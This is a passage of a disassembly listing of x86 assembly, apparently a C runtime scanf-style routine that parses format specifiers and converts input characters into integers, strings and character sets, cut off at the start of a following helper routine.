		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA

loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]

loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------

loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1

loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------

loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3

loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D

loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi

loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------

loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D

loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]

loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46

loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh

loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_433E7C, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------

loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_433E80, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_433E80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_433E7C, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------

loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91

loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------

loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B

loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------

loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_433E7C, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------

loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------

loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_435FD8
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1

loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_436000
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46

loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1

loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91

loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh

loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------

loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------

loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1

loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_435FF8

loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh

loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]

loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------

loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E

loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi

loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C

loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_433C70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_433E7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------

loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi

loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1

loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------

loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF

loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax

loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx

loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6

loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_433E7C, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------

loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------

loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_433E7C, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------

loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------

loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760

loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6

loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------

loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------

loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4

loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_433E7C, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_433E7C, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------

loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4

loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------

loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi

loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0

loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]

loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di

loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------

loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_433C70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]

loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax

loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------

loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h

loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4

loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]

loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
